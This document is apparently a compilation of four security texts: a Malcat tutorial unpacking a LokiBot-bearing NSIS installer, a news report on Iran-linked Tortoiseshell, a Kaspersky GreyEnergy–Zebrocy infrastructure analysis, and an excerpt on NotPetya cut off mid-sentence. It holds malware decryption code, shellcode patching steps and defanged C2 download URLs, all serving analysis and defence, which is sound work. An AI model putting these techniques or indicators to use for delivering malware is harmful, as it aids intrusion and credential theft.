themselves can be somewhat complex to parse/interpret: - There are 3 NSIS versions: ANSI, park (a mix between ANSI and Unicode), and Unicode. Each version encodes strings differently. There is sadly no flag telling you which version is used. - Strings can contain any of 4 special opcodes: skip, shell, var, or lang. - Strings can include references to system paths, variables, or other strings, e.g. "open {$INSTDIR}\rampage\goodie\noticeably.tif." Luckily for us, the full edition of Malcat features a NSIS disassembler/decompiler, so let us jump directly to the entry point of the script (Ctrl+E) and have a look at the OnInit method. We can see that the script does the following: - Extract the first buffer (offset header+0 in archive) to a file named d54hdan9c9ebsx. - Extract the second buffer (offset header+0x34f0f in archive) to a file named lognp. - Extract the third buffer (offset header+0x36390 in archive) to ${PLUGINDIR}\dwksh.dll, wherever that could be. - Call dwksh.dll's exported method sdvffryp without any argument. The rest of the method seems like junk code, judging by the strings which are either random letters or picked out of a dictionary. Quickly inspecting the first two files tells us that both are encrypted and/or compressed, so no quick-win there. We have to dig into the DLL. ## Stage 1: dwksh.dll dwksh.dll is a 294KB 32-bits DLL of sha256 be00a655cdf4e4706bf1bbf3659d698f967cad66acdf7cda0d12f16dc0cfda3e (VT). It contains several obfuscated methods. But we reversed the setup script and know what to look for: the method sdvffryp. This method starts by reading a local file named lognp: It then seems to decrypt it in memory into an executable buffer before jumping at the beginning of the buffer (see the call eax below?). The file lognp is relatively small (5KB); it definitely looks like shellcode. The decryption is pretty straightforward according to the sleigh decompiler. Every byte seems to be decrypted using the following formula: `byte[i] = ((((byte[i] - 3) ^ 0xf2) + 0x11) ^ 0x28) - 1` Decrypting the lognp file should be a piece of cake. Just open the file inside Malcat, select every byte (Ctrl+A), and open the transform dialog (Ctrl+T). There you can choose the custom arithmetic transform which allows you to transform a sequence of bytes/words/dwords using a custom Python expression. Just paste the equation above, replacing byte[i] with value, and voila, you've just decrypted the second stage. For the lazy readers, you can download the decrypted lognp file here (password: infected). ## Stage 2: Obfuscated Shellcode Analyzing the shellcode The lognp file, once decrypted, does not appear to be in any known file format. But the first byte is E9, which is a jump in the x86 architecture and is very typical for shellcode prologs. So before starting the analysis, we will have to tell Malcat two things: - The architecture used: x86 in our case. This can be set using the dropdown menu in the status bar. - The entry point of the shellcode, which is at address 0 in our case. We just have to define a new function start at this address using the context menu in disassembly mode (F3). After this, Malcat is smart enough to recover most of the shellcode's CFG using its usual set of analyses. Following the control flow, we quickly arrive in the function sub_7dd which contains interesting patterns: - The string d54hdan9c9ebsx (one of the NSIS archive's file names) is pushed on the stack at address 0x8eb. - Something like a CreateFileA API call is performed at address 0x989 (the constant 0x80000000 is most likely for GENERIC_READ). If we wanted to be sure, we would have to emulate the API lookup function at address 0x776, but it looks like a safe assumption. - Soon after, the function sub_a01 gets called. Decompiling this function reveals something similar to a decryption loop. The whole process can be retraced in the animated GIF below. The code of the decryption function is given below. It is obviously obfuscated, and sadly it would not be immediate to reimplement it in Python in Malcat. So we will have to find an alternative. Since the decryption function prototype is very simple (it just needs a pointer to the buffer and the buffer size) and is without side effects, why not give emulation a go? ```c BYTE* sub_a01(BYTE* buffer, uint4 size) { uint1 uVar1; char cVar2; uint1 uVar3; uint4 i; i = sub_0; while (i < size) { uVar3 = i; uVar1 = -uVar3 - ((*(buffer + i) >> 1 | buffer[i] << 7) - 0x40 ^ 0xf2); uVar1 = -uVar3 - (uVar1 >> 7 | uVar1 * '\x02'); uVar1 = -uVar3 - (((uVar1 >> 3 | uVar1 * ' ') ^ uVar3) - uVar3 ^ 0x9c) ^ 0xd6; cVar2 = ~((uVar1 >> 7 | uVar1 << 1) + 0x34 ^ 0x87) - 0x10; uVar1 = ~(((-cVar2 >> sub_5 | cVar2 * -8) ^ 0x1d) + 0xac) ^ 0x5e; uVar1 = ~-(((0x99 - ((uVar1 >> 2 | uVar1 << 6) + 0x49) ^ 0xa0) + 0x30 ^ 0x34) + uVar3); uVar1 = (-uVar1 >> 6 | uVar1 * -4) - uVar3 ^ uVar3; uVar1 = (-uVar1 >> 2 | uVar1 * -0x40) + 0x93; uVar1 = (-((((uVar1 >> sub_5 | uVar1 * '\b') - 0x2e ^ 7) + 0xd ^ 0x96) + 0x31) ^ 0x73) + uVar3; uVar1 = -uVar3 - ((uVar1 >> 2 | uVar1 * '@') + 0x61) ^ uVar3; uVar1 = ~((uVar1 >> 3 | uVar1 << sub_5) ^ uVar3); uVar1 = (uVar1 >> 7 | uVar1 << 1) + uVar3 ^ 0x2e; uVar1 = ~(~((uVar3 - (~(~(-(0xbc - ((uVar1 >> 6 | uVar1 << 2) - uVar3) ^ 0x1e) ^ 0xc5) ^ 0x46) ^ 0xc1) ^ 0x4c) + uVar3) ^ 0x4d) + 0x4c ^ uVar3; uVar3 = 0x2d - (-((uVar1 >> 3 | uVar1 << sub_5) + uVar3) ^ 0x43); buffer[i] = (uVar3 >> 7 | uVar3 * '\x02') + 0x15; i = i + 1; } return buffer; } ``` ## Emulating the Decryption Function To emulate shellcodes, Malcat comes bundled with a script named speakeasy_shellcode.py which emulates shellcodes using the Speakeasy emulator. Note that Speakeasy is not bundled with Malcat; you will have to install the Python package yourself (and if you are running Malcat under Windows, be sure to check "Use system python interpreter" in the options). ### Patching lognp Before emulating anything, we need to solve a problem: the data to decrypt (d54hdan9c9ebsx) is not embedded in the lognp shellcode; it is read from the filesystem using CreateFileA. So emulation is likely to fail. There is the clean way: we could hook the CreateFileA/ReadFile APIs in Speakeasy and intercept the call to give back the content of the file d54hdan9c9ebsx. But there is also the dirty way: we could patch the decrypted lognp shellcode in order to embed the content of d54hdan9c9ebsx in the shellcode space and patch the shellcode entry point to perform a call to the decryption function with the right parameters. Of course, we will choose the dirty way. It is not only way faster, it is also more fun. Here is how to proceed: 1. First, open a copy of the decrypted lognp shellcode in Malcat with extra space at the end of the file (File > Open Copy of File). The file d54hdan9c9ebsx is 216843 bytes big; we'll append 300KB just to be sure. 2. Copy the content of the file d54hdan9c9ebsx in the clipboard: in a second Malcat instance, open d54hdan9c9ebsx and then hit Ctrl+A followed by Ctrl+C. 3. Paste the copied data after the shellcode in the first Malcat instance, let's say at address 0x2000 to make it easy to remember. 4. Enter disassembly view (F3) and go to the shellcode's entry point at address 0. Malcat does not (yet) support assembling your own instruction, so we will need to manually edit the machine code. Click on any hex byte in disasm mode and enter edit mode (Insert key). We need to assemble the following code: 1. Push the second parameter which is the size of the buffer to decrypt (216843 = 0x34F0B). push uint32 is assembled using 0x68 + LSB-encoded uint32 in x86: 68 0B 4F 03 00. 2. Push the first parameter which is the address of the buffer to decrypt (0x2000): 68 00 20 00 00. 3. Call to the decryption function. The call opcode is 0xE8 + signed displacement starting from the end of the call opcode. The end of our call opcode is at address 0x000F; we want to jump to 0x0A01, so 0x0A01 - 0x000F = 0x09F2. We need to assemble E8 F2 09 00 00. You can use Malcat's calculator to perform quick computation while analyzing a binary; just hit Ctrl+Space. Internally, it uses the Python interpreter, so use Python syntax. At the end, the patched shellcode should look like in the picture below. For the lazy readers, you can download the patched lognp file here (password: infected). ## Running Speakeasy Now the only thing we have to do is to let Speakeasy do its magic: - Let us define the entry point: right-click at address 0 and choose Force function start in the context menu. - Run the script speakeasy_shellcode.py (Ctrl+U to run user scripts). ... and voila, Malcat should open the result in a new file. A PE file has been detected by Malcat's file format parser at address 0x2000, perfect! Just double-click the PE file under "Carved Files" to open it. ## Stage 3: Lokibot and Config Extraction The last (and final) stage we get is a PE file of sha 02dee91a81652e5234414e452622307fd61e7988e82bec43665f699f805c3151 (VT). Judging by the low entropy and the visible strings, the file does not seem to be obfuscated, good news. So which kind of malware do we face? Malcat's Yara rules already spotted one of the main malware intents: stealing credentials. If we want to be more precise, we can use Malcat's online intelligence view (Ctrl+I, only for paid versions). Normally I would avoid using VirusTotal to identify a malware family (because of packer reuse among threat actors). But here we are dealing with the plain text final malware, so we should get at least some valid labels. In our case, it seems to be Lokibot, a simple password stealer. Can we go further? The last section of the PE file is weirdly named ".x". It contains a single method at address 0x4a0000 and a few bytes of referenced data at address 0x4a0074. Looking at the function, it seems to decode the data using a XOR opcode, with the key 0xDDDDFFFF. But actually, only the first byte of the key is used (0xFF), so it is strictly equivalent to performing a simple NOT on the data. Great, let us decrypt these few bytes using Malcat's transform. ## Conclusion NSIS installers have been abused by malware authors for some years now. While the NSIS VM instruction set is relatively limited, DLL plugins allow malicious actors to extend installer capabilities and obfuscate malware. In this example, two layers of shellcodes were used by the NSIS installer in order to deliver its final payload: a LokiBot password stealer. Instead of running everything in a VM, we made great use of Malcat's NSIS disassembler, Malcat's transforms, and Speakeasy emulator in order to quickly unpack these two layers statically. We hope you enjoyed this new quick-and-dirty malware unpacking session. Future blog posts will be more focused toward beginners as we will introduce a few of Malcat's features as in-depth tutorials.
# Iranian Government Hackers Target US Veterans **Kelly Jackson Higgins** **September 24, 2019** **Threat Intelligence** **4 MIN READ** 'Tortoiseshell' discovered hosting a phony military-hiring website that drops a Trojan backdoor on visitors. A nation-state hacking group recently found attacking IT provider networks in Saudi Arabia as a stepping stone to its ultimate targets has been spotted hosting a fake website, called "Hire Military Heroes," that drops spying tools and other malicious code onto victims' systems. The so-called Tortoiseshell hacking team, which was called out last week by Symantec for a coordinated and targeted cyber espionage campaign that hops from the networks of several major IT providers in Saudi Arabia to specific customers of the providers, is also known by CrowdStrike as the Iranian hacking team Imperial Kitten. Cisco Talos researchers recently found the group hosting the "Hire Military Heroes" website, with an image from the "Flags of our Fathers" film. The malicious site prompts visitors to download an app, which is actually a downloader that drops the malware and other tools that gather system information, such as drivers, patch level, network configuration, hardware, firmware, domain controller, admin name, and other user account information. It also pulls screen size to determine whether the machine is a sandbox, according to Cisco's findings. Tortoiseshell deploys a remote access Trojan named "IvizTech," which matches the code and features Symantec detailed in its report on the backdoor. Neither Symantec nor Cisco would tie Tortoiseshell to a specific nation-state. It's unclear exactly how the attackers lure potential victims and whether the site is actively infecting victims at this point. Cisco Talos researchers say the creators thus far have employed weak operations security of their own, leaving behind hard-coded credentials, for instance. "There is a possibility that multiple teams from an APT worked on multiple elements of this malware, as we can see certain levels of sophistication existing and various levels of victimology," the researchers wrote in their blog post about the threat today. Paul Rascagneres, a researcher at Cisco Talos, says he and his team don't believe the attack is widespread, and the group is still relatively new to the APT scene. "Tortoiseshell is not well-documented. [The research] shows that this actor is offensive for months, they create fake websites, and they probably use social engineering to send targets on these websites," he says. "We identified at least two installers, a couple of variants of the same RAT, a keylogger, and few reconnaissance tools. The toolkit of this actor is growing." The researchers haven't pinpointed the initial infection vector, however. "[I]t could be spear-phishing or social media usage such as LinkedIn, as we saw during DNSpionage campaign," he says, referring to an attack campaign last year that used fake job websites. CrowdStrike, meanwhile, had tagged the group as Imperial Kitten, an Iranian nation-state operation that has been operating since 2017. The group has been known to target Saudi Arabian, United Arab Emirates, and Western maritime, IT services, defense, and military veterans, notes Adam Meyers, vice president of intelligence at CrowdStrike. Imperial Kitten supports Iran's Islamic Revolutionary Guard Corps operations using tactics such as phony job recruitment, social media, and IT service provider attacks, he says. "We have observed them active as recent as this month," Meyers says. The malicious website is a "massive shift" for the hacking group, according to Cisco, as it's targeting a wider net of victims this way. "Americans are quick to give back and support the veteran population. Therefore, this website has a high chance of gaining traction on social media where users could share the link in the hopes of supporting veterans," the Talos team wrote in its blog post about the threat. Jon DiMaggio, a researcher at Symantec who follows Tortoiseshell, says Tortoiseshell may be employing spear-phishing emails to lure victims. "Assuming [Cisco Talos'] attribution is correct, it would show that another possible infection vector used by Tortoiseshell may have been spear-phishing emails," he says. "We identified a Web shell being used by the attacker indicating they may have compromised a Web server to deploy malware onto the victims' environment in the supply chain attacks, but spear-phishing is very common, and it would not be surprising to see them use more than one infection vector in various campaigns."
# GreyEnergy’s Overlap with Zebrocy **Authors** Kaspersky ICS CERT In October 2018, ESET published a report describing a set of activity they called GreyEnergy, which is believed to be a successor to the BlackEnergy group. BlackEnergy (a.k.a. Sandworm) is best known for having been involved in attacks against Ukrainian energy facilities in 2015, which led to power outages. Like its predecessor, GreyEnergy malware has been detected attacking industrial and ICS targets, mainly in Ukraine. Kaspersky Lab ICS CERT has identified an overlap between GreyEnergy and a Sofacy subset called “Zebrocy.” The Zebrocy activity was named after malware that the Sofacy group began to use since mid-November 2015 for the post-exploitation stage of attacks on its victims. Zebrocy’s targets are widely spread across the Middle East, Europe, and Asia, and the targets’ profiles are mostly government-related. Both sets of activity used the same servers at the same time and targeted the same organization. ## Servers In our private APT Intel report from July 2018 “Zebrocy implements new VBA anti-sandboxing tricks,” details were provided about different Zebrocy C2 servers, including 193.23.181[.]151. In the course of our research, the following Zebrocy samples were found to use the same server to download additional components (MD5): - 7f20f7fbce9deee893dbce1a1b62827d - 170d2721b91482e5cabf3d2fec091151 - eae0b8997c82ebd93e999d4ce14dedf5 - a5cbf5a131e84cd2c0a11fca5ddaa50a - c9e1b0628ac62e5cb01bf1fa30ac8317 The URL used to download additional data looks as follows: `hxxp://193.23.181[.]151/help-desk/remote-assistant-service/PostId.php?q={hex}` This same C2 server was also used in a spearphishing email attachment sent by GreyEnergy (aka FELIXROOT), as mentioned in a FireEye report. Details on this attachment are as follows: - The file (11227eca89cc053fb189fac3ebf27497) with the name “Seminar.rtf” exploited CVE-2017-0199. - “Seminar.rtf” downloaded a second stage document from: `hxxp://193.23.181[.]151/Seminar.rtf` (4de5adb865b5198b4f2593ad436fceff, exploiting CVE-2017-11882). - The original document (Seminar.rtf) was hosted on the same server and downloaded by victims from: `hxxp://193.23.181[.]151/ministerstvo-energetiki/seminars/2019/06/Seminar.rtf`. Another server we detected that was used both by Zebrocy and by GreyEnergy is 185.217.0[.]124. Similarly, we detected a spearphishing GreyEnergy document (a541295eca38eaa4fde122468d633083, exploiting CVE-2017-11882), also named “Seminar.rtf.” This document downloads a GreyEnergy sample (78734cd268e5c9ab4184e1bbe21a6eb9) from the following SMB link: `\\185.217.0[.]124\Doc\Seminar\Seminar_2018_1.AO-A`. The following Zebrocy samples use this server as C2: - 7f20f7fbce9deee893dbce1a1b62827d - 170d2721b91482e5cabf3d2fec091151 - 3803af6700ff4f712cd698cee262d4ac - e3100228f90692a19f88d9acb620960d They retrieve additional data from the following URL: `hxxp://185.217.0[.]124/help-desk/remote-assistant-service/PostId.php?q={hex}` It is worth noting that at least two samples from the above list use both 193.23.181[.]151 and 185.217.0[.]124 as C2s. ## Attacked Company Additionally, both GreyEnergy and Zebrocy spearphishing documents targeted a number of industrial companies in Kazakhstan. One of them was attacked in June 2018. ### GreyEnergy and Zebrocy Overlap **Attack Timeframe** A spearphishing document entitled ‘Seminar.rtf’, which retrieved a GreyEnergy sample, was sent to the company approximately on June 21, 2018, followed by a Zebrocy spearphishing document sent approximately on June 28: ‘(28.06.18) Izmeneniya v prikaz PK.doc’ Zebrocy decoy document translation: ‘Changes to order, Republic of Kazakhstan.’ The two C2 servers discussed above were actively used by Zebrocy and GreyEnergy almost at the same time: - 193.23.181[.]151 was used by GreyEnergy and Zebrocy in June 2018. - 185.217.0[.]124 was used by GreyEnergy between May and June 2018 and by Zebrocy in June 2018. ## Conclusions The GreyEnergy/BlackEnergy actor is an advanced group that possesses extensive knowledge on penetrating into their victims' networks and exploiting any vulnerabilities it finds. This actor has demonstrated its ability to update its tools and infrastructure in order to avoid detection, tracking, and attribution. Though no direct evidence exists on the origins of GreyEnergy, the links between a Sofacy subset known as Zebrocy and GreyEnergy suggest that these groups are related, as has been suggested before by some public analysis. In this paper, we detailed how both groups shared the same C2 server infrastructure during a certain period of time and how they both targeted the same organization almost at the same time, which seems to confirm the relationship’s existence.
# The Untold Story of NotPetya, the Most Devastating Cyberattack in History Andy Greenberg, Excerpt August 21, 2018 It was a perfect sunny summer afternoon in Copenhagen when the world’s largest shipping conglomerate began to lose its mind. The headquarters of A.P. Møller-Maersk sits beside the breezy, cobblestoned esplanade of Copenhagen’s harbor. A ship’s mast carrying the Danish flag is planted by the building’s northeastern corner, and six stories of blue-tinted windows look out over the water, facing a dock where the Danish royal family parks its yacht. In the building’s basement, employees can browse a corporate gift shop, stocked with Maersk-branded bags and ties, and even a rare Lego model of the company’s gargantuan Triple-E container ship, a vessel roughly as large as the Empire State Building laid on its side, capable of carrying another Empire State Building–sized load of cargo stacked on top of it. That gift shop also houses a technology help center, a single desk manned by IT troubleshooters next to the shop’s cashier. And on the afternoon of June 27, 2017, confused Maersk staffers began to gather at that help desk in twos and threes, almost all of them carrying laptops. On the machines’ screens were messages in red and black lettering. Some read “repairing file system on C:” with a stark warning not to turn off the computer. Others, more surreally, read “oops, your important files are encrypted” and demanded a payment of $300 worth of bitcoin to decrypt them. Across the street, an IT administrator named Henrik Jensen was working in another part of the Maersk compound, an ornate white-stone building that in previous centuries had served as the royal archive of maritime maps and charts. Jensen was busy preparing a software update for Maersk’s nearly 80,000 employees when his computer spontaneously restarted. He quietly swore under his breath. Jensen assumed the unplanned reboot was a typically brusque move by Maersk’s central IT department, a little-loved entity in England that oversaw most of the corporate empire, whose eight business units ranged from ports to logistics to oil drilling, in 574 offices in 130 countries around the globe. Jensen looked up to ask if anyone else in his open-plan office of IT staffers had been so rudely interrupted. And as he craned his head, he watched every other computer screen around the room blink out in rapid succession. “I saw a wave of screens turning black. Black, black, black. Black black black black black,” he says. The PCs, Jensen and his neighbors quickly discovered, were irreversibly locked. Restarting only returned them to the same black screen. All across Maersk headquarters, the full scale of the crisis was starting to become clear. Within half an hour, Maersk employees were running down hallways, yelling to their colleagues to turn off computers or disconnect them from Maersk’s network before the malicious software could infect them, as it dawned on them that every minute could mean dozens or hundreds more corrupted PCs. Tech workers ran into conference rooms and unplugged machines in the middle of meetings. Soon staffers were hurdling over locked key-card gates, which had been paralyzed by the still-mysterious malware, to spread the warning to other sections of the building. Disconnecting Maersk’s entire global network took the company’s IT staff more than two panicky hours. By the end of that process, every employee had been ordered to turn off their computer and leave it at their desk. The digital phones at every cubicle, too, had been rendered useless in the emergency network shutdown. Around 3 pm, a Maersk executive walked into the room where Jensen and a dozen or so of his colleagues were anxiously awaiting news and told them to go home. Maersk’s network was so deeply corrupted that even IT staffers were helpless. A few of the company’s more old-school managers told their teams to remain at the office. But many employees—rendered entirely idle without computers, servers, routers, or desk phones—simply left. Jensen walked out of the building and into the warm air of a late June afternoon. Like the vast majority of Maersk staffers, he had no idea when he might return to work. The maritime giant that employed him, responsible for 76 ports on all sides of the earth and nearly 800 seafaring vessels, including container ships carrying tens of millions of tons of cargo, representing close to a fifth of the entire world’s shipping capacity, was dead in the water. On the edge of the trendy Podil neighborhood in the Ukrainian capital of Kiev, coffee shops and parks abruptly evaporate, replaced by a grim industrial landscape. Under a highway overpass, across some trash-strewn railroad tracks, and through a concrete gate stands the four-story headquarters of Linkos Group, a small, family-run Ukrainian software business. Up three flights of stairs in that building is a server room, where a rack of pizza-box-sized computers is connected by a tangle of wires and marked with handwritten, numbered labels. On a normal day, these servers push out routine updates—bug fixes, security patches, new features—to a piece of accounting software called M.E.Doc, which is more or less Ukraine’s equivalent of TurboTax or Quicken. It’s used by nearly anyone who files taxes or does business in the country. But for a moment in 2017, those machines served as ground zero for the most devastating cyberattack since the invention of the internet—an attack that began, at least, as an assault on one nation by another. For the past four and a half years, Ukraine has been locked in a grinding, undeclared war with Russia that has killed more than 10,000 Ukrainians and displaced millions more. The conflict has also seen Ukraine become a scorched-earth testing ground for Russian cyberwar tactics. In 2015 and 2016, while the Kremlin-linked hackers known as Fancy Bear were busy breaking into the US Democratic National Committee’s servers, another group of agents known as Sandworm was hacking into dozens of Ukrainian governmental organizations and companies. They penetrated the networks of victims ranging from media outlets to railway firms, detonating logic bombs that destroyed terabytes of data. The attacks followed a sadistic seasonal cadence. In the winters of both years, the saboteurs capped off their destructive sprees by causing widespread power outages—the first confirmed blackouts induced by hackers. But those attacks still weren’t Sandworm’s grand finale. In the spring of 2017, unbeknownst to anyone at Linkos Group, Russian military hackers hijacked the company’s update servers to allow them a hidden back door into the thousands of PCs around the country and the world that have M.E.Doc installed. Then, in June 2017, the saboteurs used that back door to release a piece of malware called NotPetya, their most vicious cyberweapon yet. The code that the hackers pushed out was honed to spread automatically, rapidly, and indiscriminately. “To date, it was simply the fastest-propagating piece of malware we’ve ever seen,” says Craig Williams, director of outreach at Cisco’s Talos division, one of the first security companies to reverse engineer and analyze NotPetya. “By the second you saw it, your data center was already gone.” NotPetya was propelled by two powerful hacker exploits working in tandem: One was a penetration tool known as EternalBlue, created by the US National Security Agency but leaked in a disastrous breach of the agency’s ultrasecret files earlier in 2017. EternalBlue takes advantage of a vulnerability in a particular Windows protocol, allowing hackers free rein to remotely run their own code on any unpatched machine. NotPetya’s architects combined that digital skeleton key with an older invention known as Mimikatz, created as a proof of concept by French security researcher Benjamin Delpy in 2011. Delpy had originally released Mimikatz to demonstrate that Windows left users’ passwords lingering in computers’ memory. Once hackers gained initial access to a computer, Mimikatz could pull those passwords out of RAM and use them to hack into other machines accessible with the same credentials. On networks with multiuser computers, it could even allow an automated attack to hopscotch from one machine to the next. Before NotPetya’s launch, Microsoft had released a patch for its EternalBlue vulnerability. But EternalBlue and Mimikatz together nonetheless made a virulent combination. “You can infect computers that aren’t patched, and then you can grab the passwords from those computers to infect other computers that are patched,” Delpy says. NotPetya took its name from its resemblance to the ransomware Petya, a piece of criminal code that surfaced in early 2016 and extorted victims to pay for a key to unlock their files. But NotPetya’s ransom messages were only a ruse: The malware’s goal was purely destructive. It irreversibly encrypted computers’ master boot records, the deep-seated part of a machine that tells it where to find its own operating system. Any ransom payment that victims tried to make was futile. No key even existed to reorder the scrambled noise of their computer’s contents. The weapon’s target was Ukraine. But its blast radius was the entire world. “It was the equivalent of using a nuclear bomb to achieve a small tactical victory,” Bossert says. The release of NotPetya was an act of cyberwar by almost any definition—one that was likely more explosive than even its creators intended. Within hours of its first appearance, the worm raced beyond Ukraine and out to countless machines around the world, from hospitals in Pennsylvania to a chocolate factory in Tasmania. It crippled multinational companies including Maersk, pharmaceutical giant Merck, FedEx’s European subsidiary TNT Express, French construction company Saint-Gobain, food producer Mondelēz, and manufacturer Reckitt Benckiser. In each case, it inflicted nine-figure costs. It even spread back to Russia, striking the state oil company Rosneft. The result was more than $10 billion in total damages, according to a White House assessment confirmed to WIRED by former Homeland Security adviser Tom Bossert, who at the time of the attack was President Trump’s most senior cybersecurity-focused official. Bossert and US intelligence agencies also confirmed in February that Russia’s military—the prime suspect in any cyberwar attack targeting Ukraine—was responsible for launching the malicious code. (The Russian foreign ministry declined to answer repeated requests for comment.) To get a sense of the scale of NotPetya’s damage, consider the nightmarish but more typical ransomware attack that paralyzed the city government of Atlanta this past March: It cost up to $10 million, a tenth of a percent of NotPetya’s price. Even WannaCry, the more notorious worm that spread a month before NotPetya in May 2017, is estimated to have cost between $4 billion and $8 billion. Nothing since has come close. “While there was no loss of life, it was the equivalent of using a nuclear bomb to achieve a small tactical victory,” Bossert says. “That’s a degree of recklessness we can’t tolerate on the world stage.” In the year since NotPetya shook the world, WIRED has delved into the experience of one corporate goliath brought to its knees by Russia’s worm: Maersk, whose malware fiasco uniquely demonstrates the danger that cyberwar now poses to the infrastructure of the modern world. The executives of the shipping behemoth, like every other non-Ukrainian victim WIRED approached to speak about NotPetya, declined to comment in any official capacity for this story. WIRED’s account is instead assembled from current and former Maersk sources, many of whom chose to remain anonymous. But the story of NotPetya isn’t truly about Maersk, or even about Ukraine. It’s the story of a nation-state’s weapon of war released in a medium where national borders have no meaning, and where collateral damage travels via a cruel and unexpected logic: Where an attack aimed at Ukraine strikes Maersk, and an attack on Maersk strikes everywhere at once. Oleksii Yasinsky expected a calm Tuesday at the office. It was the day before Ukraine’s Constitution Day, a national holiday, and most of his coworkers were either planning their vacations or already taking them. But not Yasinsky. For the past year he’d been the head of the cyber lab at Information Systems Security Partners, a company that was quickly becoming the go-to firm for victims of Ukraine’s cyberwar. That job description didn’t lend itself to downtime. Since the first blows of Russia’s cyberattacks hit in late 2015, in fact, he’d allowed himself a grand total of one week off. So Yasinsky was unperturbed when he received a call that morning from ISSP’s director telling him that Oschadbank, the second-largest bank in Ukraine, was under attack. The bank had told ISSP that it was facing a ransomware infection, an increasingly common crisis for companies around the world targeted by profit-focused cybercriminals. But when Yasinsky walked into Oschadbank’s IT department at its central Kiev office half an hour later, he could tell this was something new. “The staff were lost, confused, in a state of shock,” Yasinsky says. Around 90 percent of the bank’s thousands of computers were locked, showing NotPetya’s “repairing disk” messages and ransom screens. After a quick examination of the bank’s surviving logs, Yasinsky could see that the attack was an automated worm that had somehow obtained an administrator’s credentials. That had allowed it to rampage through the bank’s network like a prison inmate who has stolen the warden’s keys. As he analyzed the bank’s breach back in ISSP’s office, Yasinsky started receiving calls and messages from people around Ukraine, telling him of similar instances in other companies and government agencies. One told him that another victim had attempted to pay the ransom. As Yasinsky suspected, the payment had no effect. This was no ordinary ransomware. “There was no silver bullet for this, no antidote,” he says. ## The Cost of NotPetya In 2017, the malware NotPetya spread from the servers of an unassuming Ukrainian software firm to some of the largest businesses worldwide, paralyzing their operations. Here’s a list of the approximate damages reported by some of the worm’s biggest victims. - **$870,000,000** - Pharmaceutical company Merck - **$400,000,000** - Delivery company FedEx (through European subsidiary TNT Express) - **$384,000,000** - French construction company Saint-Gobain - **$300,000,000** - Danish shipping company Maersk - **$188,000,000** - Snack company Mondelēz (parent company of Nabisco and Cadbury) - **$129,000,000** - British manufacturer Reckitt Benckiser (owner of Lysol and Durex condoms) - **$10 billion** - Total damages from NotPetya, as estimated by the White House A thousand miles to the south, ISSP CEO Roman Sologub was attempting to take a Constitution Day vacation on the southern coast of Turkey, preparing to head to the beach with his family. His phone, too, began to explode with calls from ISSP clients who were either watching NotPetya tear across their networks or reading news of the attack and frantically seeking advice. Sologub retreated to his hotel, where he’d spend the rest of the day fielding more than 50 calls from customers reporting, one after another after another, that their networks had been infected. ISSP’s security operations center, which monitored the networks of clients in real time, warned Sologub that NotPetya was saturating victims’ systems with terrifying speed: It took 45 seconds to bring down the network of a large Ukrainian bank. A portion of one major Ukrainian transit hub, where ISSP had installed its equipment as a demonstration, was fully infected in 16 seconds. Ukrenergo, the energy company whose network ISSP had been helping to rebuild after the 2016 blackout cyberattack, had also been struck yet again. “Do you remember we were about to implement new security controls?” Sologub recalls a frustrated Ukrenergo IT director asking him on the phone. “Well, too late.” By noon, ISSP’s founder, a serial entrepreneur named Oleh Derevianko, had sidelined his vacation too. Derevianko was driving north to meet his family at his village house for the holiday when the NotPetya calls began. Soon he had pulled off the highway and was working from a roadside restaurant. By the early afternoon, he was warning every executive who called to unplug their networks without hesitation, even if it meant shutting down their entire company. In many cases, they’d already waited too long. “By the time you reached them, the infrastructure was already lost,” Derevianko says. On a national scale, NotPetya was eating Ukraine’s computers alive. It would hit at least four hospitals in Kiev alone, six power companies, two airports, more than 22 Ukrainian banks, ATMs and card payment systems in retailers and transport, and practically every federal agency. “The government was dead,” summarizes Ukrainian minister of infrastructure Volodymyr Omelyan. According to ISSP, at least 300 companies were hit, and one senior Ukrainian government official estimated that 10 percent of all computers in the country were wiped. The attack even shut down the computers used by scientists at the Chernobyl cleanup site, 60 miles north of Kiev. “It was a massive bombing of all our systems,” Omelyan says. When Derevianko emerged from the restaurant in the early evening, he stopped to refuel his car and found that the gas station’s credit card payment system had been taken out by NotPetya too. With no cash in his pockets, he eyed his gas gauge, wondering if he had enough fuel to reach his village. Across the country, Ukrainians were asking themselves similar questions: whether they had enough money for groceries and gas to last through the blitz, whether they would receive their paychecks and pensions, whether their prescriptions would be filled. By that night, as the outside world was still debating whether NotPetya was criminal ransomware or a weapon of state-sponsored cyberwar, ISSP’s staff had already started referring to it as a new kind of phenomenon: a “massive, coordinated cyber invasion.” Amid that epidemic, one single infection would become particularly fateful for Maersk: In an office in Odessa, a port city on Ukraine’s Black Sea coast, a finance executive for Maersk’s Ukraine operation had asked IT administrators to install the accounting software M.E.Doc on a single computer. That gave NotPetya the only foothold it needed. The shipping terminal in Elizabeth, New Jersey—one of the 76 that make up the port-operations division of Maersk known as APM Terminals—sprawls out into Newark Bay on a man-made peninsula covering a full square mile. Tens of thousands of stacked, perfectly modular shipping containers cover its vast asphalt landscape, and 200-foot-high blue cranes loom over the bay. From the top floors of lower Manhattan’s skyscrapers, five miles away, they look like brachiosaurs gathered at a Jurassic-era watering hole. On a good day, about 3,000 trucks arrive at the terminal, each assigned to pick up or drop off tens of thousands of pounds of everything from diapers to avocados to tractor parts. They start that process, much like airline passengers, by checking in at the terminal’s gate, where scanners automatically read their container’s barcodes and a Maersk gate clerk talks to the truck driver via a speaker system. The driver receives a printed pass that tells them where to park so that a massive yard crane can haul their container from the truck’s chassis to a stack in the cargo yard, where it’s loaded onto a container ship and floated across an ocean—or that entire process in reverse order. On the morning of June 27, Pablo Fernández was expecting dozens of trucks’ worth of cargo to be shipped out from Elizabeth to a port in the Middle East. Fernández is a so-called freight forwarder—a middleman whom cargo owners pay to make sure their property arrives safely at a destination halfway around the world. At around 9 am New Jersey time, Fernández’s phone started buzzing with a succession of screaming calls from angry cargo owners. All of them had just heard from truck drivers that their vehicles were stuck outside Maersk’s Elizabeth terminal. “People were jumping up and down,” Fernández says. “They couldn’t get their containers in and out of the gate.” That gate, a choke point to Maersk’s entire New Jersey terminal operation, was dead. The gate clerks had gone silent. Soon, hundreds of 18-wheelers were backed up in a line that stretched for miles outside the terminal. One employee at another company’s nearby terminal at the same New Jersey port watched the trucks collect, bumper to bumper, farther than he could see. He’d seen gate systems go down for stretches of 15 minutes or half an hour before. But after a few hours, still with no word from Maersk, the Port Authority put out an alert that the company’s Elizabeth terminal would be closed for the rest of the day. “That’s when we started to realize,” the nearby terminal’s staffer remembers, “this was an attack.” Police began to approach drivers in their cabs, telling them to turn their massive loads around and clear out. Fernández and countless other frantic Maersk customers faced a set of bleak options: They could try to get their precious cargo onto other 